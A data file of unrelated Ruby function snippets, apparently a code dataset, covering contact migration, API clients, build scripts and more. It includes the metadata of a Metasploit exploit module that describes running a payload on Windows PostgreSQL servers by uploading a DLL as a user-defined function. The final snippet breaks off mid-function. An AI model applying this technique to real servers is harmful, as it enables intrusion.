"def new_bundle(product_name)\n file = new_file(\"#{product_name}.bundle\")\n file.explicit_file_type = 'wrapper.cfbundle'\n file.include_in_index = '0'\n file.source_tree = 'BUILT_PRODUCTS_DIR'\n file.last_known_file_type = nil\n file\n end",
"def compileFortran(params)\n\t\tsrc = requireParam(params, :src)\n\t\ttarget = requireParam(params, :target)\n\t\totherOptions = params[:opts] || []\n\t\t\n\t\tprintAndCall(\"#{compileCmd(src)} #{otherOptions.join(' ')} #{@INCDIRS.map {|dirpath| \"-I#{dirpath}\"}.join(' ')} -o #{target} -c #{src}\")\n\tend",
"def create_module_and_branch?(opts = {})\n if module_obj = module_exists?\n module_branch_exists? || create_module_branch(module_obj)\n else\n create_module_and_branch(create_implementation: opts[:create_implementation])\n end\n end",
"def bump_patch_version; end",
"def create_module\n template 'bpmn_module.rb.template', File.join(model_path, \"#{module_name.underscore}.rb\")\n end",
"def startBCLToFastQConversion()\n cmd = \"ruby \" + PathInfo::BIN_DIR + \"/BclToFastQConvertor.rb \" +\n \"fcname=\" + @fcName.to_s\n output = `#{cmd}`\n end",
"def transfer_contacts(appdata,customfieldscheck)\n\n puts \"Importing Contacts...\"\n\n #SOURCE APP\n #---------------------------------------\n\n puts \"=> Initializing Source App\"\n #initialize source app\n initialize_infusionsoft(appdata[:src_appname], appdata[:src_apikey])\n\n puts \"=> Getting Source Custom Fields\"\n #get list of contact custom fields\n #then store the list of names in an array to add to fields for lookup\n source_app_custom_fields = get_table('DataFormField')\n contact_fields = []\n contact_fields = FIELDS['Contact'].map(&:clone)\n source_app_custom_fields.each { |cf| contact_fields.push(\"_\" + cf['Name']) if cf['FormId'] == -1 }\n\n puts \"=> Getting Source Contacts\"\n #Option 1\n #________\n #get all contacts from the source app\n all_contacts = get_table('Contact',contact_fields)\n\n #Option 2\n #________\n #get contacts with specific criteria\n #all_contacts = get_table('Contact',contact_fields,{Id: 282589})\n #all_contacts += (get_table('Contact',contact_fields,{OwnerID: 118786}))\n\n #reduce list of custom fields to create by detecting which fields have data\n fields_with_data = []\n all_contacts.each { |c| fields_with_data |= c.keys }\n custom_fields_to_import = fields_with_data.grep(/^_/)\n source_app_custom_fields.reject! { |cf| custom_fields_to_import.exclude? '_' + cf['Name']}\n\n\n puts \"=> Getting Source Opt Outs\"\n #get list of opted out emails\n opted_out_emails = get_table('EmailAddStatus').select { |email| OPT_OUT_STATUSES.include? email['Type'] }\n\n puts \"=> Getting Source Lead Sources\"\n #get list of Lead Sources and Categories from source app\n source_app_lead_source_categories = get_table('LeadSourceCategory')\n source_app_lead_sources = get_table('LeadSource')\n\n puts \"=> Getting Source Users\"\n #get list of users for comparing username to source app\n source_app_users = get_table('User')\n\n puts \"=> Getting Source App Settings\"\n #gets lists of app settings for comparing to dest app, stored as arrays\n source_types = Infusionsoft.data_get_app_setting('Contact','optiontypes').split(',')\n source_titles = Infusionsoft.data_get_app_setting('Contact','optiontitles').split(',')\n source_suffixes = Infusionsoft.data_get_app_setting('Contact','optionsuffixes').split(',')\n source_phonetypes = Infusionsoft.data_get_app_setting('Contact','optionphonetypes').split(',')\n source_faxtypes = Infusionsoft.data_get_app_setting('Contact','optionfaxtypes').split(',')\n\n\n #DESTINATION APP\n #--------------------------------------\n\n #INITIALIZATION\n #______________\n puts \"=> Initializing Dest App\"\n #initialize destination app\n initialize_infusionsoft(appdata[:dest_appname], appdata[:dest_apikey])\n\n #LEAD SOURCE\n #___________\n\n puts \"=> Importing Lead Sources...\"\n\n #creates Lead Sources and Categories if they don't exist\n #Adds all category names and lead source names to hashes to compare\n dest_app_lead_source_categories = {}\n get_table('LeadSourceCategory').each { |cat| dest_app_lead_source_categories[cat['Id']] = cat['Name'] }\n\n dest_app_lead_sources = {}\n get_table('LeadSource').each { |src| dest_app_lead_sources[src['Id']] = src['Name'] }\n\n #adds lead source categories to dest app, and sets the ID of the source app lead source category equal to the category created\n #only adds lead source category if it doesn't already exist in dest app\n category_relationship = {}\n source_app_lead_source_categories.each { |cat|\n category_relationship[cat['Id']] = dest_app_lead_source_categories.key(cat['Name']) || Infusionsoft.data_add('LeadSourceCategory',cat)\n }\n\n #create empty hash with default relationship of 0 to 0\n lead_source_relationship = {0=>0}\n source_app_lead_sources.each do |src|\n #swaps old category ID with new category ID\n src['LeadSourceCategoryId'] = category_relationship[src['LeadSourceCategoryId']] unless src['LeadSourceCategoryId'] == 0\n\n #creates lead source if it doesn't exist by the same name\n lead_source_relationship[src['Id']] = dest_app_lead_sources.key(src['Name']) || Infusionsoft.data_add('LeadSource',src)\n end\n\n #FKID AND CONTACT CUSTOM FIELDS\n #__________________\n\n puts \"=> Importing Custom Fields...\"\n\n #creates Source App Contact and Company ID custom fields if they don't exist\n @@source_app_contact_id = create_custom_field('Source App Contact ID')['Name']\n @@source_app_company_id = create_custom_field('Source App Company ID')['Name']\n\n #create contact custom fields if the custom fields check is true\n #also maps the source app custom fields to any existing custom fields in the dest app\n rename_mapping = {}\n\n source_app_custom_fields.each do |cf|\n #checks if app has ANY custom fields; also skips any of type 25, which is unknown, or when it's not a contact custom field\n next if cf.nil? || cf['DataType'] == 25 || cf['FormId'] != -1\n field = create_custom_field(cf['Label'],0,'Contact',DATATYPES[DATATYPE_IDS[cf['DataType']]]['dataType'],cf['Values'])\n rename_mapping['_' + cf['Name']] = field['Name']\n end if customfieldscheck\n\n\n #switches the 'Id' key to be 'Source App Contact ID'\n #switches the 'CompanyID' key to be 'Source App Company ID'\n rename_mapping['Id'] = @@source_app_contact_id\n rename_mapping['CompanyID'] = @@source_app_company_id\n\n #USERS\n #_____\n puts \"=> Creating User Relationship\"\n #Matches up users based on their 'GlobalUserId' which is the Infusionsoft ID\n users_relationship = create_user_relationship(source_app_users,get_table('User'))\n\n #APP SETTINGS\n #____________\n puts \"=> Generating App Settings Differences\"\n\n #Get differene between source app settings and dest app settings\n $types = source_types - Infusionsoft.data_get_app_setting('Contact','optiontypes').split(',')\n $titles = source_titles - Infusionsoft.data_get_app_setting('Contact','optiontitles').split(',')\n $suffixes = source_suffixes - Infusionsoft.data_get_app_setting('Contact','optionsuffixes').split(',')\n $phonetypes = source_phonetypes - Infusionsoft.data_get_app_setting('Contact','optionphonetypes').split(',')\n $faxtypes = source_faxtypes - Infusionsoft.data_get_app_setting('Contact','optionfaxtypes').split(',')\n\n #CREATE IMPORT TAG\n #_________________\n\n puts \"=> Creating Import Tag...\"\n\n #check if Category and Tag already exist\n existing_cat_id = Infusionsoft.data_query('ContactGroupCategory',1000,0,{'CategoryName' => 'Application Transfer'},['Id'])\n existing_tag_id = Infusionsoft.data_query('ContactGroup',\n 1000,\n 0,\n {'GroupCategoryId' => existing_cat_id.first['Id'], 'GroupName' => \"Data from #{appdata[:src_appname]}\"},\n ['Id']) unless existing_cat_id.to_a.empty?\n\n import_tag_cat_id = existing_cat_id.to_a.empty? ? Infusionsoft.data_add('ContactGroupCategory',{'CategoryName' => 'Application Transfer'}) : existing_cat_id.first['Id']\n import_tag_id = existing_tag_id.to_a.empty? ? Infusionsoft.data_add('ContactGroup',{'GroupCategoryId' => import_tag_cat_id, 'GroupName' => \"Data from #{appdata[:src_appname]}\"}) : existing_tag_id.first['Id']\n\n #GET CONTACTS THAT HAVE ALREADY BEEN TRANSFERRED\n #_______________________________________________\n dest_contacts = get_table(\"Contact\",[@@source_app_contact_id],{@@source_app_contact_id => \"_%\"}).map { |c| c[@@source_app_contact_id]}\n\n #ADD CONTACTS\n #____________\n\n puts \"=> Adding contacts...\"\n\n #adds each contact in the list of contacts to destination app\n #swaps lead source IDs before import to dest app lead source ID\n #swaps user ID to destination app user ID based on users_relationship matching\n dest_emails = []\n all_contacts.each do |contact|\n next if dest_contacts.include? contact['Id'].to_s #skips importing contacts that have previously been transferred\n contact.keys.each { |k| contact[ rename_mapping[k] ] = contact.delete(k).to_s if rename_mapping[k] }\n contact.delete('AccountId')\n contact['LeadSourceId'] = lead_source_relationship[contact['LeadSourceId']]\n contact['OwnerID'] = users_relationship[contact['OwnerID']] || 0\n contact_id = Infusionsoft.contact_add(contact) unless contact[@@source_app_contact_id] == contact[@@source_app_company_id]\n Infusionsoft.contact_add_to_group(contact_id, import_tag_id) unless contact_id.nil?\n dest_emails |= [contact['Email']]\n end\n\n puts \"=> Opting Out Emails\"\n #opt out all emails that were opted out in the source app\n opted_out_emails.each do |email|\n Infusionsoft.email_optout(email, 'Source App Opt Out') if dest_emails.include? email\n end\n\n puts \"Contacts Imported.\"\n end",
"def create_module_and_branch(opts = {})\n self.module_class.create_module(self.project, self.local_params, return_module_branch: true, create_implementation: opts[:create_implementation], donot_push_to_repo_manager: true)\n end",
"def define_newgem_tasks\n unless self.extra_dev_deps.find { |dep| dep.first == 'newgem' }\n require File.dirname(__FILE__) + '/../newgem'\n self.extra_dev_deps ||= []\n self.extra_dev_deps << ['newgem', \">= #{::Newgem::VERSION}\"] unless name == 'newgem'\n end\n \n return if Rake::Task.tasks.find { |t| t.name == 'gemspec' }\n desc \"Generate a #{name}.gemspec file\"\n task :gemspec do\n File.open(\"#{name}.gemspec\", \"w\") do |file|\n file.puts spec.to_ruby\n end\n end\n \n task :release do\n puts <<-EOS.gsub(/^ /,'')\n Remember to create tag your release; eg for Git:\n git tag REL-#{$hoe.version}\n\n Announce your release on RubyForge News:\n rake post_news\n EOS\n end\n\n task :check_version do\n unless ENV['VERSION']\n puts 'Must pass a VERSION=x.y.z release version'\n exit\n end\n unless ENV['VERSION'] == $hoe.version\n puts \"Please update your lib/#{$hoe.name}.rb to match the release version, currently #{$hoe.version}\"\n exit\n end\n end\n\n desc 'Install the package as a gem, without generating documentation(ri/rdoc)'\n task :install_gem_no_doc => [:clean, :package] do\n sh \"#{'sudo ' unless Hoe::WINDOZE }gem install pkg/*.gem --no-rdoc --no-ri\"\n end\n \n task :ruby_env do\n $ruby_app = if RUBY_PLATFORM =~ /java/\n \"jruby\"\n else\n \"ruby\"\n end\n end\n \n end",
"def fixup_libgfortran(prefix)\n keg = Keg.for(prefix)\n libgfortran = Formula.factory(\"libgfortran\")\n\n # For each dylib/executable within this keg\n keg.mach_o_files.each do |file|\n # Make sure it's writable\n file.ensure_writable do\n # Search its dependent dylibs\n keg.each_install_name_for(file) do |bad_name|\n # If we find a quadmath, gcc, or gfortran,\n for f in ['quadmath.0', 'gcc_s.1', 'gfortran.3']\n if bad_name =~ /.*#{f}\\.dylib/\n # Rename the dependency!\n good_name = libgfortran.opt_lib + Pathname.new(bad_name).basename\n keg.change_install_name(bad_name, good_name, file)\n end\n end\n end\n end\n end\n\n gcc = Formula.factory(\"gcc\")\n # For each .pc file within this keg\n keg.pkgconfig_files.each do |file|\n # Make sure it's writable\n file.ensure_writable do\n begin\n inreplace file do |s|\n s.gsub! /#{gcc.lib}\\/[^ ]*/, \"#{libgfortran.opt_lib}\"\n end\n rescue\n end\n end\n end\nend",
"def init_compat\n\t\tc = module_info['Compat']\n\n\t\tif (c == nil)\n\t\t\tc = module_info['Compat'] = Hash.new\n\t\tend\n\n\t\t# Initialize the module sub compatibilities\n\t\tc['Payload'] = Hash.new if (c['Payload'] == nil)\n\t\tc['Encoder'] = Hash.new if (c['Encoder'] == nil)\n\t\tc['Nop'] = Hash.new if (c['Nop'] == nil)\n\n\t\t# Update the compat-derived module specific compatibilities from\n\t\t# the specific ones to make a uniform view of compatibilities\n\t\tc['Payload'].update(module_info['PayloadCompat'] || {})\n\t\tc['Encoder'].update(module_info['EncoderCompat'] || {})\n\t\tc['Nop'].update(module_info['NopCompat'] || {})\n\tend",
"def unoconv_pname\n 'LibreOffi'\n end",
"def add_module(module_name, options = T.unsafe(nil)); end",
"def patch_firmware_pcie_descriptor_with_http_info(moid, firmware_pcie_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.patch_firmware_pcie_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling FirmwareApi.patch_firmware_pcie_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/firmware/PcieDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_pcie_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwarePcieDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.patch_firmware_pcie_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#patch_firmware_pcie_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_firmware_pcie_descriptor_with_http_info(firmware_pcie_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.create_firmware_pcie_descriptor ...'\n end\n # resource path\n local_var_path = '/api/v1/firmware/PcieDescriptors'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_pcie_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwarePcieDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.create_firmware_pcie_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#create_firmware_pcie_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def init_compat\n super\n\n #\n # Merge in payload compatible defaults\n #\n p = module_info['Compat']['Payload']\n\n CompatDefaults::Payload.each_pair { |k,v|\n (p[k]) ? p[k] << \" #{v}\" : p[k] = v\n }\n\n #\n # Set the default save registers if none have been explicitly\n # specified.\n #\n if (module_info['SaveRegisters'] == nil)\n module_info['SaveRegisters'] = [ 'esp', 'ebp' ]\n end\n end",
"def rest__create\n # setup needed data\n module_name = ret_non_null_request_params(:module_name)\n namespace = ret_request_param_module_namespace?()\n config_agent_type = ret_config_agent_type()\n project = get_default_project()\n\n # local_params encapsulates local module branch params\n opts_local_params = (namespace ? { namespace: namespace } : {})\n local_params = local_params(:component_module, module_name, opts_local_params)\n\n opts_create_mod = Opts.new(\n config_agent_type: ret_config_agent_type()\n )\n\n module_repo_info = ComponentModule.create_module(project, local_params, opts_create_mod)[:module_repo_info]\n\n # only when creating via import-git command\n git_url = ret_request_params(:module_git_url)\n\n unless git_url.empty?\n add_git_url(project.model_handle(:repo_remote), module_repo_info[:repo_id], git_url)\n end\n\n rest_ok_response module_repo_info\n end",
"def fix_dispatch_object_header!\n $stdout.print 'Creating patched copy of dispatch/object.h... '\n $stdout.flush\n status = 'failed'\n if (srcfile = find_header_file('dispatch/object.h'))\n tmpfile = \"#{File.dirname(__FILE__)}/dispatch/object.h.tmp.#{$$}\"\n begin\n patched = false\n File.open(tmpfile, 'w') do |tmpfh|\n File.open(srcfile, 'r').each do |srcline|\n patched ||= srcline.sub!(\n /\\Atypedef void \\(\\^dispatch_block_t\\)\\(void\\);/,\n 'typedef void* dispatch_block_t;'\n )\n tmpfh.print(srcline)\n end\n end\n if patched\n destfile = \"#{File.dirname(__FILE__)}/dispatch/object.h\"\n File.rename(tmpfile, destfile)\n if $CFLAGS.nil? || $CFLAGS.empty?\n $CFLAGS = \"-I#{File.dirname(__FILE__)}\"\n else\n $CFLAGS += \" -I#{File.dirname(__FILE__)}\"\n end\n # TODO: Ruby 2.2 mkmf doesn't seem to actually use CLEANINGS any more\n set_constant! :CLEANINGS,\n \"DISTCLEANFILES += dispatch/object.h\\n\" + CLEANINGS\n status = \"patched #{destfile}\"\n else\n status = 'skipped'\n end\n ensure\n File.unlink(tmpfile) if File.exists?(tmpfile)\n end\n else\n status = 'header not found'\n end\n $stdout.puts status\n $stdout.flush\nend",
"def compileif\n\n end",
"def initialize(info = {})\n super(update_info(info,\n 'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',\n 'Description' => %q{\n On default Microsoft Windows installations of PostgreSQL the postgres\n service account may write to the current directory (which is usually\n \"C:\\Program Files\\PostgreSQL\\<version>\\data\" where <version> is the\n major.minor version of PostgreSQL). UDF DLL's may be sourced from\n there as well.\n\n This module uploads a Windows DLL file via the pg_largeobject method\n of binary injection and creates a UDF (user defined function) from\n that DLL. Because the payload is run from DllMain, it does not need to\n conform to specific Postgres API versions.\n },\n 'Author' =>\n [\n 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries\n 'todb' # this Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL\n ],\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Windows x86', { 'Arch' => ARCH_X86 } ],\n [ 'Windows x64', { 'Arch' => ARCH_X64 } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2009-04-10' # Date of Bernardo's BH Europe paper.\n ))\n\n deregister_options('SQL', 'RETURN_ROWSET')\n end",
"def sample_cfdis( facturama )\n puts \"===== Ejemplo de CFDI - Inicio =====\"\n\n # Se obtiene la moneda con el valor \"MXN\"\n lst_currencies = facturama::catalog.currencies\n currency = lst_currencies.select {|currency| currency[\"Value\"] == \"MXN\" }.first\n\n\n # Creacion del cfdi en su forma general (sin items / productos) asociados\n #cfdi_model = sample_cfdis_create(facturama, currency)\n cfdi_model = sample_cfdis_publico_en_general(facturama, currency)\n\n # Agregar los items que lleva el cfdi ( para este ejemplo, se agregan con datos aleatorios)\n #add_items_to_cfdi(facturama, currency, cfdi_model)\n add_items_to_cfdi40(facturama, currency, cfdi_model)\n\n # Creación del CFDI mediante la API, para su creación\n #cfdi = facturama.cfdis.create(cfdi_model)\n cfdi = facturama.cfdis.create3(cfdi_model)\n cfdi_uuid = cfdi['Complement']['TaxStamp']['Uuid']\n puts \"Se creó exitosamente el cfdi con el folio fiscal: \" + cfdi_uuid\n\n # Descarga de los arvhivos PDF y XML del cfdi recien creado\n #file_path = \"factura\" + cfdi_uuid\n #facturama.cfdis.save_pdf( file_path + \".pdf\", cfdi['Id'])\n #facturama.cfdis.save_xml( file_path + \".xml\", cfdi['Id'])\n\n # Envio del cfdi por correo\n #if facturama.cfdis.send_by_mail(cfdi['Id'], \"chucho@facturama.mx\", \"Factura del servicio\" )\n # puts \"Se envió por correo exitosamente el cfdi con el folio fiscal: \" + cfdi_uuid\n #end\n\n # Se elmina el cfdi recien creado\n #facturama.cfdis.remove(cfdi['Id'],\"issued\",nil,nil)\n #puts \"Se elminó exitosamente el cfdi con el folio fiscal: \" + cfdi_uuid\n\n\n # Consulta de cfdi por palabra clave o Rfc\n #lst_by_rfc = facturama.cfdis.list_by_rfc(\"ESO1202108R2\")\n #lst_by_keyword = facturama.cfdis.list_by_keyword(\"Software\")\n\n #puts \"Se obtiene la lista de facturas por RFC: #{lst_by_rfc.length}\"\n #puts \"Se obtiene la lista de facturas por KEYWORD: #{lst_by_keyword.length}\"\n\n\n\n puts \"===== Ejemplo de CFDI - Fin =====\"\n end",
"def to_pfc\n IO.pipe do |reader, writer|\n ret = LibSeccomp.seccomp_export_pfc(context, writer.fileno)\n raise SystemCallError.new(\"seccomp_export_pfc() failed\", -ret) if ret < 0\n writer.close\n reader.read\n end\n end",
"def c_generate_proto(tables)\n tables.each{|k,v|\n puts \"static void decode_#{k}(#{$cargs_proto});\"\n }\nend",
"def write_gemspec; end",
"def install\n system \"python\", \"setup.py\", \"install\"\n\n # Make BUSCO read config.ini from current directory\n inreplace \"scripts/run_BUSCO.py\", \"BuscoConfig('%s/../config/config.ini' % os.path.dirname(os.path.realpath(__file__))\", \"BuscoConfig('config.ini'\"\n \n bin.install \"scripts/run_BUSCO.py\"\n bin.install \"scripts/generate_plot.py\"\n bin.install_symlink \"run_BUSCO.py\" => \"busco\"\n\n # Set correct directories in config template\n inreplace \"config/config.ini.default\", \"/usr/bin/\", \"/mnt/lustre/software/linuxbrew/colsa/bin/\"\n inreplace \"config/config.ini.default\", \"/home/osboxes/BUSCOVM/augustus/augustus-3.2.2/bin/\", \"/mnt/lustre/software/linuxbrew/colsa/bin/\"\n inreplace \"config/config.ini.default\", \"/home/osboxes/BUSCOVM/augustus/augustus-3.2.2/scripts/\", \"/mnt/lustre/software/linuxbrew/colsa/Cellar/augustus/3.2.2_2/libexec/scripts/\"\n inreplace \"config/config.ini.default\", \"/home/osboxes/BUSCOVM/hmmer/hmmer-3.1b2-linux-intel-ia32/binaries/\", \"/mnt/lustre/software/linuxbrew/colsa/bin/\"\n libexec.install Dir[\"config\"]\n doc.install \"BUSCO_v3_userguide.pdf\"\n end",
"def compile(mod); end",
"def create_firmware_iom_descriptor_with_http_info(firmware_iom_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FirmwareApi.create_firmware_iom_descriptor ...'\n end\n # resource path\n local_var_path = '/api/v1/firmware/IomDescriptors'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n header_params[:'If-None-Match'] = opts[:'if_none_match'] if !opts[:'if_none_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(firmware_iom_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'FirmwareIomDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"FirmwareApi.create_firmware_iom_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FirmwareApi#create_firmware_iom_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def gen_header(fp)\n fp.puts(\"/*\")\n fp.puts(\" * Copyright (c) 2015, Masayuki Kimura\")\n fp.puts(\" * All rights reserved.\")\n fp.puts(\" *\")\n fp.puts(\" * Redistribution and use in source and binary forms, with or without\")\n fp.puts(\" * modification, are permitted provided that the following conditions are met:\")\n fp.puts(\" * * Redistributions of source code must retain the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer.\")\n fp.puts(\" * * Redistributions in binary form must reproduce the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer in the\")\n fp.puts(\" * documentation and/or other materials provided with the distribution.\")\n fp.puts(\" * * Neither the name of the Masayuki Kimura nor the\")\n fp.puts(\" * names of its contributors may be used to endorse or promote products\")\n fp.puts(\" * derived from this software without specific prior written permission.\")\n fp.puts(\" *\")\n fp.puts(\" * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\" AND\")\n fp.puts(\" * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\")\n fp.puts(\" * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\")\n fp.puts(\" * DISCLAIMED. IN NO EVENT SHALL MASAYUKI KIMURA BE LIABLE FOR ANY\")\n fp.puts(\" * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\")\n fp.puts(\" * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\")\n fp.puts(\" * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\")\n fp.puts(\" * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\")\n fp.puts(\" * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\")\n fp.puts(\" * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\")\n fp.puts(\" */\")\n fp.puts(\"\")\n fp.puts(\"/* CAUTION! THIS SOURCE CODE IS GENERATED AUTOMATICALLY. DON'T MODIFY BY HAND. */\")\n fp.puts(\"\")\n fp.puts(\"\")\nend",
"def gen_header(fp)\n fp.puts(\"/*\")\n fp.puts(\" * Copyright (c) 2015, Masayuki Kimura\")\n fp.puts(\" * All rights reserved.\")\n fp.puts(\" *\")\n fp.puts(\" * Redistribution and use in source and binary forms, with or without\")\n fp.puts(\" * modification, are permitted provided that the following conditions are met:\")\n fp.puts(\" * * Redistributions of source code must retain the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer.\")\n fp.puts(\" * * Redistributions in binary form must reproduce the above copyright\")\n fp.puts(\" * notice, this list of conditions and the following disclaimer in the\")\n fp.puts(\" * documentation and/or other materials provided with the distribution.\")\n fp.puts(\" * * Neither the name of the Masayuki Kimura nor the\")\n fp.puts(\" * names of its contributors may be used to endorse or promote products\")\n fp.puts(\" * derived from this software without specific prior written permission.\")\n fp.puts(\" *\")\n fp.puts(\" * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\" AND\")\n fp.puts(\" * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\")\n fp.puts(\" * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\")\n fp.puts(\" * DISCLAIMED. IN NO EVENT SHALL MASAYUKI KIMURA BE LIABLE FOR ANY\")\n fp.puts(\" * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\")\n fp.puts(\" * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\")\n fp.puts(\" * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\")\n fp.puts(\" * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\")\n fp.puts(\" * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\")\n fp.puts(\" * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\")\n fp.puts(\" */\")\n fp.puts(\"\")\n fp.puts(\"/* CAUTION! THIS SOURCE CODE IS GENERATED AUTOMATICALLY. DON'T MODIFY BY HAND. */\")\n fp.puts(\"\")\n fp.puts(\"\")\nend",
"def setup_projects\n BRIX11.log(3, \"[%s] setup projects\", self)\n\n # collect all interaction types recorded for all included IDL files\n # setup their corresponding recipes for the interaction types\n interaction_types = Set.new\n # idl file for component\n @idl_files.each_value do |fidl|\n BRIX11.log(4, '[%s] %s', self, fidl)\n fidl.includes.each do |ifidl|\n # only of interest if a member of this project (and thus part of a recipe)\n if ifidl.is_member?\n BRIX11.log(4, '[%s] %s specifies %s interactions', self, ifidl, ifidl.interaction_types.to_a)\n # an empty interaction types set means non-specific port which must be SRR\n ifidl.interaction_types << :srr if ifidl.interaction_types.empty?\n\n # collect the interaction types for this include\n interaction_types.merge(ifidl.interaction_types)\n\n # setup the recipe of this IDL include for the recorded interaction types\n rcp = ifidl.recipes.first\n rcp.setup_project_interaction(ifidl, *ifidl.interaction_types.to_a)\n end\n end\n end\n\n # create the MPC projects for this recipe itself\n mpc_obj = create_comp_gen\n 